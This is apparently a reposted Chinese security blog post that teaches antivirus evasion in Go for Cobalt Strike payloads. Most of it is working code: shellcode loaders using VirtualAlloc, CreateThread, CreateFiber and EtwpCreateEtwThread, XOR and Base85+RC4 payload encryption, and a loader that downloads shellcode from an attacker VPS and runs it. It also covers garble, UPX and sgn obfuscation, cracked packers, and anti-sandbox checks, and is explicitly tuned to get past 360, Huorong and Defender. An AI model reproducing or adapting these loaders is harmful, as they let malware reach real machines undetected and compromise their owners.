本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
文章正文
前言
最近也是攻防旺季,发一个上次免杀总结的续集,后续发现用了go可以比较好过defender,所以就尝试了使用go进行免杀的尝试
下面是我在使用go免杀时的一些思路以及思考, 如有不正之处,请师傅们指正 。
这篇文章旨在给没有免杀基础的师傅提供一些思路,我也是web狗来的,所以各位老哥不用担心不会写免杀,结合gpt 组合一下下面方法都是可以用的 ,我整理出来都是自己尝试过觉得有效果的,免杀还得是自己动手各种组合尝试,过过国内主流杀软火绒360defender还是不难的,不要觉得这个东西用太多了已经没用了。
本文使用的是cs4.8版本测试, 每个单独的方法可以丢沙箱看看大概效果,组合后具体效果测试使用国内主流的三款杀软 ,为了效果更好可以按照下面方法使用生成的random.profile配置文件
本文使用c语言的shellcode,在notepad手动把x替换空格处理过,把xfcx48x83xe4xf0xe8处理成fc4883e4f0e8格式
小知识
0x0 cs profile
现在cs的特征已经被各大杀软监控的非常严,所以我们只能通过修改cs的流量特征,也能起到部分免杀效果,解析cs profile文件网上文章很多,也不是我们这篇文章的主题,直接上工具
工具:
https://github.com/RedSiege/C2concealer
https://github.com/threatexpress/random_c2_profile
可生成随机的 C2 可延展配置文件,几条命令就能安装
生成后可以先使用client验证profile文件是否有效
像这种报错,直接到profile文件里对应的行数用#注释了即可
这样即可证明profile有效
接着在启动cs时./teamserver 8.8.8.8 123321 cs.profile
最后跟上profile路径即可
0x1.取消黑框
方法一:编译命令
go build -ldflags="-H windowsgui" mian.go
方法二:
包含"github.com/lxn/win"
,在mian函数第一行加上win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
package main
import "github.com/lxn/win"
func main(){
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
0x2 常用编译命令
常用编译命令,免杀效果较好,可以减少文件体积
go build -ldflags="-s -w" -o 1.exe
0x3 garble混淆
一些go工具混淆编译后也可以实现免杀效果
安装
go install mvdan.cc/garble@latest
正常会安装在go/bin目录下
混淆偏移:
GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o app.exe main.go
在window编译把garble前面的去掉
其他编译:
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
garble(混淆库):
-tiny 删除额外信息
-literals 混淆文字
-seed=random base64编码的随机种子
go:
-w 去掉调试信息,不能gdb调试了
-s 去掉符号表
-H windowsgui 隐藏执行窗口,不占用 cmd 终端。(被查杀率高)
-race 使数据允许竞争检测,编译时改变了生成后的文件特征
,使得杀软无法检测,当然有一天也会失效的。
0x4 去特征
项目地址:
https://github.com/optiv/Mangle
可以使用去特征工具再进行一步特征去除:
Mangle_1.2_windows_amd64.exe -I app-amd64.exe -M -O aaa.exe
0x5 upx压缩体积
马子太大的话可以使用这个压缩体积
https://github.com/upx/upx
upx.exe -9 xxx.exe
0x6 go加载shellcode注意
go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来
在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组
例如:
message := "fc4883e4f0e8c8"就是十六进制字符串
十六进制字符串string转换成字节数组byteArray
byteArray, _ := hex.DecodeString(hexString)
字节数组转换成十六进制字符串
hexString := hex.EncodeToString(byteArray)
静态
先介绍一个普通的shellcode加载器,虽然也有的函数比如VirtualAlloc使用了syscall,但总体免杀能力较差,可以对比出加密后效果,下面加密和反沙箱都用这个加载方式对比
加载器代码
package main
import (
"encoding/hex"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
code := ""
decode, _ := hex.DecodeString(code)
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容
allocSize := uintptr(len(decode))
mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decode)
// 执行 shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
效果:
1.加解密
下面介绍的各种加解密方法都可以各种排列组合起来使用,一般两种就够了
加密部分我直接放沙箱效果图,这里起一个抛砖引玉的作用,网上关于shellcode加密的资料很多,大家也可以去找一些小众的或者自己编写的简单加密,一般一两个加密组合起来足够了。
XOR
加解密测试代码
package main
import (
"encoding/hex"
"fmt"
)
func main() {
message := "" // shellcode
byteArray, _ := hex.DecodeString(message)
// XOR 操作
xordMessage := make([]byte, len(byteArray))
for i := 0; i < len(byteArray); i++ {
xordMessage[i] = byteArray[i] ^ 0x11
}
hexString := hex.EncodeToString(xordMessage)
fmt.Println(hexString)
//hexString为XOR加密后的shellcode,下面仅为解密测试代码
xordMessage1 := make([]byte, len(xordMessage))
for i := 0; i < len(xordMessage); i++ {
xordMessage1[i] = xordMessage[i] ^ 0x11
}
hexString1 := hex.EncodeToString(xordMessage1)
fmt.Println(hexString1)
}
解密加载代码:
package main
import (
"encoding/hex"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
func main() {
code := ""
byteArray, _ := hex.DecodeString(code)
xordMessage := make([]byte, len(byteArray))
for i := 0; i < len(byteArray); i++ {
xordMessage[i] = byteArray[i] ^ 0x11
}
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容
allocSize := uintptr(len(xordMessage))
mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, xordMessage)
// 执行 shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
效果:
可以看到异或加密虽然有效但是不多,比起下面的base85+rc4组合加密的效果还是差一些
Base85+RC4
加解密测试代码
package main
import (
"crypto/rc4"
"encoding/hex"
"fmt"
"github.com/eknkc/basex"
"log"
)
func main() {
message := "shellcode"
//定义base85加密
base85, err := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
if err != nil {
log.Fatalf("Failed to create Base85 encoding: %v", err)
}
messageArray, err := hex.DecodeString(message)
//rc加密
key := []byte("acb")
cipher, _ := rc4.NewCipher(key)
rc4Message := make([]byte, len(messageArray))
cipher.XORKeyStream(rc4Message, messageArray)
hexCiphertext := hex.EncodeToString(rc4Message)
fmt.Printf("rc4 Encoded: %sn", hexCiphertext)
//fmt.Printf("rc4Message Encoded Message: %sn", rc4Message)
//base85加密
encodedMessage := base85.Encode(rc4Message)
//encodedMessage为加密好的shellcode,下面的解密操作只是测试
fmt.Printf("Base85 Encoded Message: %sn", encodedMessage)
//base85解密
decodedBytes, err := base85.Decode(encodedMessage)
if err != nil {
log.Fatalf("Failed to decode Base85 message: %v", err)
}
decodedBytes1 := hex.EncodeToString(decodedBytes)
fmt.Printf("Base85 Decoded: %sn", decodedBytes1)
//fmt.Printf("decodedBytes Decoded Message: %sn", decodedBytes)
//rc4解密
cipher, _ = rc4.NewCipher(key)
xordMessage1 := make([]byte, len(decodedBytes))
cipher.XORKeyStream(xordMessage1, decodedBytes)
xordMessage2 := hex.EncodeToString(xordMessage1)
fmt.Printf("rc4 Decoded: %sn", xordMessage2)
}
解密执行代码
package main
import (
"crypto/rc4"
"github.com/eknkc/basex"
"log"
"syscall"
"unsafe"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
key := []byte("acb")
encodedMessage := "上面加密代码中的encodedMessage"
//定义base85
base85, err := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
if err != nil {
log.Fatalf("Failed to create Base85 encoding: %v", err)
}
//base85解密
decodedrc4, err := base85.Decode(encodedMessage)
if err != nil {
log.Fatalf("Failed to decode Base85 message: %v", err)
}
cipher, _ := rc4.NewCipher(key)
code := make([]byte, len(decodedrc4))
cipher.XORKeyStream(code, decodedrc4)
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容
allocSize := uintptr(len(code))
mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, code)
// 执行 shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
效果:
参考文章:https://pizz33.github.io/posts/4ac17cb886a9/
更多加密方法:https://github.com/wumansgy/goEncrypt
2.加壳
效果
对于重视静态的火绒效果比较好,但是360加壳容易被杀
加冷门的壳:因为用的多的壳已经被杀软研究透彻了,公开壳对于360这种杀软基本是必杀的,公开壳或者较为简单的自定义壳基本都能自动脱壳后查杀
修改冷门壳:通常都是修改壳的特征,让杀软不认识原本的壳了,具体操作例如修改程序入口,增加无效指令,区段信息修改等。
例如safe的壳,之前可以直接过火绒,现在可能得结合点其他方法,只能说这是个思路
http://www.safengine.com/downloads/get-demo
或者vmprotect壳,目前可以直接过火绒,破解版谷歌搜
官网:https://vmpsoft.com/
动态
1.syscall
调用go的syscall库,直接快速调用底层函数,绕过一些杀软r3层面的hook
package main
import (
//"encoding/hex"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
decode1 = "shellcode"
)
func main() {
decode, _ := hex.DecodeString(decode1)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(decode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decode[0])), uintptr(len(decode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
}
效果:
没放虚拟机测,直接丢沙箱看效果
2.远程加载
效果:
果然,一个普通的远程加载就能直接绕过火绒了,加了syscall反而不行,火绒对go调用的库还是比较敏感的
c++编写的远程加载也可以绕过火绒,基本远程加载都可以过火绒的,360和Defender还得加一些其他操作,比如加个密混淆,加个签名,用其他方法加载等
代码实现:
这里服务器上面需要使用命令python -m http.server 5000
开个服务,在目录下存放shellcode文件,shellcode需要使用脚本或者notepad,把x都去掉。如xd2x03x00x90x59x01x00xce替换成d2030090590100
package main
import (
"encoding/hex"
"golang.org/x/sys/windows"
"io/ioutil"
"net/http"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20
PAGE_READWRITE = 0x04
)
func main() {
url := ""
resp, _ := http.Get(url)
defer resp.Body.Close()
respData, _ := ioutil.ReadAll(resp.Body)
respString := string(respData)
shellcode2, _ := hex.DecodeString(respString)
data := shellcode2
/*for i := 0; i < len(data); i++ {
fmt.Printf("%x", data[i])
}*/
//execEnumChildWindows(data)
kernel32 := windows.NewLazySystemDLL("kernel32")
//user32 := windows.NewLazySystemDLL("user32")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
//EnumChildWindows := user32.NewProc("EnumChildWindows")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}
3.冷门函数
冷门windows api的调用,也可以过掉部分杀软的查杀机制,这是个思路,还可以找其他冷门的api使用,c有的api函数go基本也都有。
这个网站列举了很多api,可供参考:
http://ropgadget.com/posts/abusing_win_functions.html
EnumThreadWindows函数
import (
"encoding/hex"
"unsafe"
"golang.org/x/sys/windows"
"syscall"
)
func loader(calc []byte) {
mKernel32, _ := syscall.LoadDLL("kernel32.dll")
mUser32, _ := syscall.LoadDLL("user32.dll")
fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc")
calc_len := uintptr(len(calc))
Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
WriteMemory(calc, Ptr1)
fenumThreadWindows, _ := mUser32.FindProc("EnumThreadWindows")
fenumThreadWindows.Call(0, Ptr1, 0)
}
效果:
CreateFiber函数
func execCreateFiber(data []byte) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ := ConvertThreadToFiber.Call()
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, windows.PAGE_READWRITE)
if addr == 0 {
panic(1)
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
oldProtect := windows.PAGE_READWRITE
VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
fiber, _, _ := CreateFiber.Call(0, addr, 0)
SwitchToFiber.Call(fiber)
SwitchToFiber.Call(fiberAddr)
}
效果:
CreateThread函数
func execCreateThread(data []byte) {
addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
var oldProtect uint32
windows.VirtualProtect(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, &oldProtect)
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}
效果:
EtwpCreateEtwThread
package main
import (
"encoding/hex"
"fmt"
"log"
"unsafe"
"golang.org/x/sys/windows"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20
PAGE_READWRITE = 0x04
)
func main() {
code := "shellcode"
shellcode, errShellcode := hex.DecodeString(code)
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:rn%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:rn%s", errRtlCopyMemory.Error()))
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:rn%s", errVirtualProtect.Error()))
}
//var lpThreadId uint32
thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0))
if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:rn%s", errEtwThread.Error()))
}
_, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:rn:%s", errWaitForSingleObject.Error()))
}
}
效果:
4.远程加载+syscall
个人比较喜欢使用远程加载,也可以使用资源或者shellcode写入图片等方法
package main
import (
"encoding/hex"
"io/ioutil"
"net/http"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
//code = "fc4883e4f0e8c..." //16进制字符串代码
url = "http://vps:5003/shell.txt"
)
func main() {
//time.Sleep(61 * time.Second)
resp, _ := http.Get(url)
defer resp.Body.Close()
respData, _ := ioutil.ReadAll(resp.Body)
respString := string(respData)
shellcode2, _ := hex.DecodeString(respString)
decode := shellcode2
addr, _, err := VirtualAlloc.Call(0, uintptr(len(decode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decode[0])), uintptr(len(decode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
print("ok")
}
效果:
defender和360动静态都过,但是火绒静态都没过
我们可以接着给exe加个签名和图标,发现火绒还是落地杀
再给exe加个vmp的壳,经过测试发现火绒defender可以过,但是360动静态都杀了
总结:360对加壳的程序查杀的比较严格,火绒对一些库的调用查杀的比较严格但是只要过了静态都好说
5.sgn混淆+远程加载 + syscall调用
sgn是一个二进制编码器,免杀效果还不错,他混淆过后的shellcode是可以直接运行,不用解密的。
github地址:https://github.com/EgeBalci/sgn
先把shellcode生成出来,用下面代码转换成bin文件
#include <stdio.h>
unsigned char buf[] = "";
void main()
{
FILE* fp = fopen("D:\bypassav\beacon\c_bin.bin","wb");
fwrite(buf,sizeof(buf),1,fp);
fclose(fp);
}
使用sgn混淆后
把bin文件的十六进制文件复制到一个txt文件,并用notepad或者python处理成这种格式
也就是把x替换掉和换行替换掉
接下来的代码和上面远程加载+syscall的一样,sgn混淆过后的二进制代码是可以直接运行的
参考地址:https://github.com/safe6Sec/GolangBypassAV/blob/master
反沙箱
使用的时候可以多加几个反杀箱函数去检测沙箱
反沙箱的本质就是找真实的机器与虚拟机的区别,例如时间流逝速度,物理内存,父进程等区别去判断,也可以根据沙箱对抗我们反沙箱的行为特征去判断
如果判断可能在沙箱里,就停止加载shellcode,沙箱就无法继续分析我们exe的行为了。
以下都只是反杀箱常见思路,测试下来挺多
下面是两个github反沙箱的项目,时间比较久远,仅供参考思路
https://github.com/nek0YanSu/CheckVM-Sandbox
https://github.com/ZanderChang/anti-sandbox
0.延迟加载
沙箱检测时行为扫描可能会在短时间内扫描exe文件判断是否为恶意软件,在这段时间内我们的程序sleep没有动作,则可能绕过沙箱的检测。这对火绒可能比较有用,但是现在有些沙箱可能会加快虚拟机内时间,
func Sleeeep() {
res := 1
for i := 0; i < 5; i++ {
number := rand.Intn(900) + 100
res *= number
}
time.Sleep(10 * time.Second)
}
1.检查参数
func checkArgs() bool {
if len(os.Args) > 1 && os.Args[1] == "1" {
return false
}
return true
}
func main() {
if checkArgs() {
os.Exit(1)
}
}
2.检测父进程
我们一般双击启动的exe父进程都是explorer,如果一个进程的父进程不是explorer,我们就判断可能是沙箱,停止加载shellcode。
代码实现过程:
调用CreateToolhelp32Snapshot拍摄进程快照,然后遍历我们当前进程的父进程PID,随后进行查询Explorer的PID,最后进行比较explorer PID和当前程序的PID
import (
"fmt"
"os"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// 获取父进程ID
func getParentProcessID(pid uint32) (uint32, error) {
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(snapshot)
var pe32 windows.ProcessEntry32
pe32.Size = uint32(unsafe.Sizeof(pe32))
if err := windows.Process32First(snapshot, &pe32); err != nil {
return 0, err
}
for {
if pe32.ProcessID == pid {
return pe32.ParentProcessID, nil
}
if err := windows.Process32Next(snapshot, &pe32); err != nil {
break
}
}
return 0, fmt.Errorf("未找到进程 %d 的父进程", pid)
}
// 获取指定进程名称对应的进程ID
func getProcessIDByName(processName string) (uint32, error) {
snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return 0, err
}
defer windows.CloseHandle(snapshot)
var pe32 windows.ProcessEntry32
pe32.Size = uint32(unsafe.Sizeof(pe32))
if err := windows.Process32First(snapshot, &pe32); err != nil {
return 0, err
}
for {
if windows.UTF16ToString(pe32.ExeFile[:]) == processName {
return pe32.ProcessID, nil
}
if err := windows.Process32Next(snapshot, &pe32); err != nil {
break
}
}
return 0, fmt.Errorf("进程 %s 未找到", processName)
}
// 反沙箱函数
func antiSandbox() {
pid := uint32(os.Getpid())
ppid, err := getParentProcessID(pid)
if err != nil {
fmt.Println("获取父进程ID失败:", err)
os.Exit(1)
}
explorerPID, err := getProcessIDByName("explorer.exe")
if err != nil {
fmt.Println("获取explorer进程ID失败:", err)
os.Exit(1)
}
fmt.Printf("当前进程ID: %d, 父进程ID: %d, Explorer进程ID: %dn", pid, ppid, explorerPID)
if ppid != explorerPID {
fmt.Println("检测到沙箱或虚拟机环境!")
os.Exit(1)
} else {
fmt.Println("未检测到沙箱或虚拟机环境.")
}
}
3.检测开机时间
很多沙箱检测完了就会重启,可以用开机时间来判断是否为沙箱,比如判断开机时间是否大于半小时
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
fmt.Println("开机时常为:", ms)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return 0, nil
} else {
return 1, nil
}
}
4.检测物理内存
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem))) // ret, _, err := proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
if mem < 4 {
fmt.Printf("物理内存为%dGn", mem)
return 0, nil // 小于4GB返回0
}
fmt.Printf("物理内存为%dGn", mem)
return 1, nil // 大于4GB返回1
}
5.检测cpu核心数
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
fmt.Println("CPU核心数为:", a)
if a < 4 {
return 0, nil // 小于4核心数,返回0
} else {
return 1, nil // 大于4核心数,返回1
}
}
6.检测临时文件数
func numberOfTempFiles() (int, error) {
conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
var k int
if conn == "" {
fmt.Println("未找到temp文件夹,或temp文件夹不存在")
return 0, nil
} else {
local_dir := conn
err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
if fi.IsDir() {
return nil
}
k++
// fmt.Println("filename:", filename) // 输出文件名字
return nil
})
fmt.Println("Temp总共文件数量:", k)
if err != nil {
// fmt.Println("路径获取错误")
return 0, nil
}
}
if k < 30 {
return 0, nil
}
return 1, nil
}
文章来源:https://xz.aliyun.com/t/14692
原文始发于微信公众号(Z2O安全攻防):go实现免杀(实用思路篇)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论